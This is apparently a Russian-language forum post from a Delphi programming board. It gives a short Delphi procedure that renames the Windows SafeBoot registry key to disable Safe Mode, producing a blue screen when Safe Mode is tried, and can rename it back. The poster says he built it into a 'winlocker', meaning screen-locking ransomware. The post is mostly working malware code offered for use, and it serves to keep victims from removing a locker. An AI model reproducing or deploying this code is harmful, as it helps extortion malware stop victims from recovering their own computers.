Я просто показал как можно вызвать BSOD.А еслиQuote
Мне надо чтобы только в Бр экран смерти
,то это легко)))
Вот:
Code
Procedure SafeBoot(Block: Boolean); {true -заблочить,false - разблочить}
Var Reg:TRegistry;
Begin
Reg:=TRegistry.Create;
Try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True);
If Block Then
Begin
Reg.MoveKey('SafeBoot','SystemNls',True);
Reg.Free;
End Else
Begin
Reg.MoveKey('SystemNls','SafeBoot', True);
Reg.Free;
End;
Except
Reg.Free;
End;
End;
Я сделал пример на том винлокере,вот как будет:
P.S интересные модули